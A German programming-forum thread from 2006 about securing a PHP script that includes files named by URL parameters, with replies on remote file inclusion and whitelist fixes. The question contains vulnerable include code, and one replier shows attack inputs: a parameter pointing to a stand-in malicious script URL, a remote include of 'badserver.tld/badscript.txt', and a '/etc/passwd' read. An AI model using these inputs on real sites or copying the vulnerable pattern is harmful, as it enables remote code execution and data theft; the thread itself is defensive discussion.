Delphi-PRAXiS

Delphi-PRAXiS (https://www.delphipraxis.net/forum.php)
-   Programmieren allgemein (https://www.delphipraxis.net/40-programmieren-allgemein/)
-   -   [PHP] - Sicheres Includen (https://www.delphipraxis.net/75082-%5Bphp%5D-sicheres-includen.html)

fwsp 14. Aug 2006 08:58


[PHP] - Sicheres Includen
 
Hallo

ich hab jetzt zum 2. Mal Post vom Abuse-Support von 1&1 bekommen mein Skript wäre unsicher.
Anscheinend kann man beliebige Seiten inkludieren. Kann mir sagen, wie ich die Sicherheit erhöhen kann?

Hier der Code-Schnipsel:
Code:
<?php
  if ($Site <> '')
  {
    include $_SERVER['DOCUMENT_ROOT'].'/'.$Sec.$Site;
  }
  else
  {
    include $Sec.'home.php';
  }
?>
Danke.

Klaus-B.Schmidt 14. Aug 2006 09:13

Re: [PHP] - Sicheres Includen
 
Hallo, ich weiß nicht, was du jetzt genau mit sicheres Includen meinst, aber ich löse dass immer so:

Hauptdatei:
Code:
<?php
define("can_inc", true);

if ($start=="main") {
    include("inc/start.inc.php");
}

?>
und die Include Datei dazu:
Code:
<?php
if (!defined("can_inc")) die('Zugriff verweigert!
Access denided');
/* ... */
?>
so, das ganze dient dazu, dass die zu includierende Datei "Zugriff verweigert! Access denided" ausgibt, soibald in der Datei, von deraus die zu Includierende Datei includiert wird can_inc definiert wurde. (Siehe code)

Hoffe das hilft dir ein wenig :)

MfG

alcaeus 14. Aug 2006 09:16

Re: [PHP] - Sicheres Includen
 
Moin,

ich gehe mal davon aus, dass register_globals aktiv ist? Dann mach ich z.B. sowas:
Code:
GET deinskript.php?Sec=http://meineseite.de/boesesscript.php?
Ergebnis:
Code:
include('http://meineseite.de/boesesscript.php?home.php');
Mach z.B. immer sowas:
Code:
include './'. $Sec .'home.php';
Weiters solltest du bei den Leuten anfragen, was genau das Problem zu sein scheint, und wie sie von der Luecke wissen (wollen).

@Klaus-B: das mit can_inc hilft in diesem Fall gar nicht. Remote code inclusion bedeutet dass Code von einem fremden Server eingebunden wird, und nicht dass deine Dateien von einem nicht-autorisierten File aufgerufen werden ;)

Greetz
alcaeus

faux 14. Aug 2006 09:29

Re: [PHP] - Sicheres Includen
 
Hallo Friedrich!

Was genau sind denn $Sec und $Site? Sind das Variablen die per GET oder POST (oder COOKIE) übergeben werden?
Wenn ja, würde ich ev. eine Liste machen, mit Seiten die Inklidiert werden dürfen.
Naja, ich habs so gemacht:

Code:
[color=#808080][/color]
[color=#000080][b]<?php[/b][/color]
[color=#FF8000]//
// Include content.
//[/color]
[color=#800080]if[/color] (file_exists([color=#008000]'./'[/color] . [color=#000080][i]$_GET[/i][/color][[color=#008000]'page'[/color]] . [color=#008000]'.php'[/color]))
{
   [color=#800080]include[/color]([color=#000080][i]$_GET[/i][/color][[color=#008000]'page'[/color]] . [color=#008000]'.php'[/color]);
}
[color=#800080]elseif[/color] (file_exists([color=#008000]'./'[/color] . [color=#000080][i]$_GET[/i][/color][[color=#008000]'page'[/color]] . [color=#008000]'/index.php'[/color]))
{
   [color=#800080]include[/color]([color=#000080][i]$_GET[/i][/color][[color=#008000]'page'[/color]] . [color=#008000]'/index.php'[/color]);
}
[color=#800080]else[/color]
{
   [color=#800080]include[/color]([color=#008000]'404.php'[/color]);
}
[color=#800080]echo[/color] [color=#008000]"\n"[/color];
[color=#000080][b]?>[/b][/color]
[color=#808080][/color]
Durch das file_exists('./' . $_GET['page'] . '.php') prüfe ich, ob die Datei im Selben Verzeichnis ist und mit file_exists('./' . $_GET['page'] . '/index.php') kann ich dann auch index-Dateien aus Unterordnern inkludieren. Also irgend was unterhalb meines htdocs-Paths bzw. unterhalb meines Hauptindex-Paths kann da nicht inkludiert werden, da ich in $_GET['page'] vorher noch alle Slash, Backslash und Punkte entferne (braucht man für den normalen Betrieb auch nicht). Das könnte nochwichtig sein.

Zitat:

Zitat von alcaeus
ich gehe mal davon aus, dass register_globals aktiv ist?

OK, daran denke ich schon mal garnichtmehr, ich gehe immer davon aus, dann das aus ist. ;)
Naja, aber die Variable durch $site = preg_replace('/[\\\\\/.:]*/', '', $site); jagen, ist sicherlich kein Fehler. ;)

Grüße
Faux

alcaeus 14. Aug 2006 10:41

Re: [PHP] - Sicheres Includen
 
Zitat:

Zitat von faux
OK, daran denke ich schon mal garnichtmehr, ich gehe immer davon aus, dann das aus ist. ;)

Schoen waers, traurige Wahrheit ist, dass es bei den meisten Hostern an ist, und der 0815-PHPler keinen Plan hat was es ist.

Zitat:

Zitat von faux
Naja, aber die Variable durch $site = preg_replace('/[\\\\\/.:]*/', '', $site); jagen, ist sicherlich kein Fehler. ;)

Noch eine Stufe besser: explizit sagen was erlaubt ist:
Code:
$site = (isset($_GET['site'])) ? $_GET['site'] : '';
$allowed_sites = array('main', 'contact', 'foo', 'bar');
if (!in_array($site, $allowed_sites))
{
  $site = 'main';
}
include('./'. $site .'.php');
Und schon gibts keinen Weg mehr, da RFI zu betreiben. So einfach kanns sein, ich versteh sowieso nicht, wie man eine Seite darauf aufbauen kann, die einzubindende Datei ueber die URL festlegen zu lassen. Nichts fuer ungut, aber echt :wall:

Greetz
alcaeus

Meflin 14. Aug 2006 11:26

Re: [PHP] - Sicheres Includen
 
Zitat:

Zitat von alcaeus
ich versteh sowieso nicht, wie man eine Seite darauf aufbauen kann, die einzubindende Datei ueber die URL festlegen zu lassen. Nichts fuer ungut, aber echt :wall:

ähm, es ist halt recht komfortabel :stupid: wie würdest du es denn machen... ich meine deine obige Lösung beriht ja auch noch darauf die einzubindende Seite über die URL festlegen zu lassen.


alcaeus 14. Aug 2006 11:45

Re: [PHP] - Sicheres Includen
 
Zitat:

Zitat von Meflin
ähm, es ist halt recht komfortabel :stupid: wie würdest du es denn machen... ich meine deine obige Lösung beriht ja auch noch darauf die einzubindende Seite über die URL festlegen zu lassen.

Ja, das ist eine Art "Zwischenloesung", die ich persoenlich aber auch nicht verwenden wuerde. So kann ich wenigstens noch festlegen, was der Benutzer machen kann/darf.

Wenn ich dynamische Webseiten erstelle, und auf sowas zurueckgreifen muss, dann liegen die Module normalerweise in der Datenbank, und werden ueber eine ID oder einen sprechenden Namen aufgerufen (z.B. something.php?module=settings). So muss ich nur ein neues Modul hochladen, es in der Datenbank freischalten (das Panel zeigt nicht registrierte Module speziell an), und es wird auch sofort im Menue verlinkt. So muss ich nicht bei jedem Update die PHP-Dateien aendern, sondern kann ueber ein Update-Script vorgehn, und ich habe trotzdem eine grosse Sicherheit, da der Input ja ueber die Datenbank validiert wird (mal angenommen dass der Programmierer weiss wie er Datenbank-Queries absichert).

Greetz
alcaeus

faux 14. Aug 2006 16:04

Re: [PHP] - Sicheres Includen
 
ALso ich mach das meistens so wie alcaeus mit den Modulen deren ID dann aus der DB ausgelesen wird, aber manchmal auch oft einfach per switch:
Code:
switch (strtolower($GET['page'))
{
  case 'news':
    include('news.php');
    break;
}
Und dann sieht die URL so aus: ./?page=news&id=23 das heißt: Modul News, Datensatz 23.

Grüße
Faux

alcaeus 14. Aug 2006 16:11

Re: [PHP] - Sicheres Includen
 
Zitat:

Zitat von faux
aber manchmal auch oft einfach per switch:

Genau. Wenn du nicht oft Module hinzufuegst, ist dies gut genug.

Wichtig ist nur, dass du GPC-Daten nicht ungefiltert verwendest; sei es in SQL-Queries, include-Dateien usw. Gegen RFI hilft aber auch schon, allow_url_fopen zu deaktivieren.

Greetz
alcaeus

faux 14. Aug 2006 16:18

Re: [PHP] - Sicheres Includen
 
alcaeus, was genau verstehst du unter RFI?
Naja, wenn man soo oft Module hinzufügt, dass man das nicht in einer Datei der switch-Direktive hinzufügen kann, dann ist man mit dieser Art von Template-System schlecht bedient. ;)

Grüße
Faux

Zitat:

Zitat von faux
aber manchmal auch oft einfach per switch:

...manchmal auch oft... :roll:

alcaeus 14. Aug 2006 16:21

Re: [PHP] - Sicheres Includen
 
Zitat:

Zitat von faux
alcaeus, was genau verstehst du unter RFI?

Meine eigene Abkuerzung fuer Remote-File-Inclusion. Ich bin zu faul das auszuschreiben :P

Greetz
alcaeus

generic 15. Aug 2006 16:05

Re: [PHP] - Sicheres Includen
 
$_SERVER['DOCUMENT_ROOT']
^ ist ein array welches überschrieben werden kann.

$Sec.$Site;
^ sind variablen welche überschrieben werden können.

besonders gefährlich im zusammenhang mit register_globals on!

nimm eine constante also etwas was mit define definiert wird - einmalig.

omata 15. Aug 2006 18:48

Re: [PHP] - Sicheres Includen
 
Mal ein ganz anderer Ansatz...

Wenn man HTML und PHP Code nicht mischt sondern alles in PHP codet. Das heisst es gibt keine echos oder sonstige Ausgaben in den includeten Dateien und man schreibt alles objectorientiert, dann kann man ruhig eine dieser Dateien aufrufen. Im Browser kommt dann nur noch eine leere Seite an.

In meinen PHP-Anwendungen gibt es so nur eine echo-Zeile, am Ende und im Hauptscript.

Gruss
Thorsten

alcaeus 16. Aug 2006 12:05

Re: [PHP] - Sicheres Includen
 
Zitat:

Zitat von omata
Wenn man HTML und PHP Code nicht mischt sondern alles in PHP codet. Das heisst es gibt keine echos oder sonstige Ausgaben in den includeten Dateien und man schreibt alles objectorientiert, dann kann man ruhig eine dieser Dateien aufrufen. Im Browser kommt dann nur noch eine leere Seite an.

Das ist ja nicht das Problem. Das Problem ist, dass du alles moegliche includen kannst. Nehmen wir mal sowas:
Code:
include('http://badserver.tld/badscript.txt');
Der Code ladet bei aktivem allow_url_fopen den Inhalt von badscript.txt und fuehrt ihn anschliessend aus. Das ist...suboptimal.

Ein weiteres Problem:
Code:
mypage.php?include=/etc/passwd
Bei einem nicht optimal konfigurierten Server (und das kommt leider oefter vor als man glauben will) kannst du dir vorstellen was da passiert...

Greetz
alcaeus


Alle Zeitangaben in WEZ +1. Es ist jetzt 10:33 Uhr.

Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024-2025 by Thomas Breitkreuz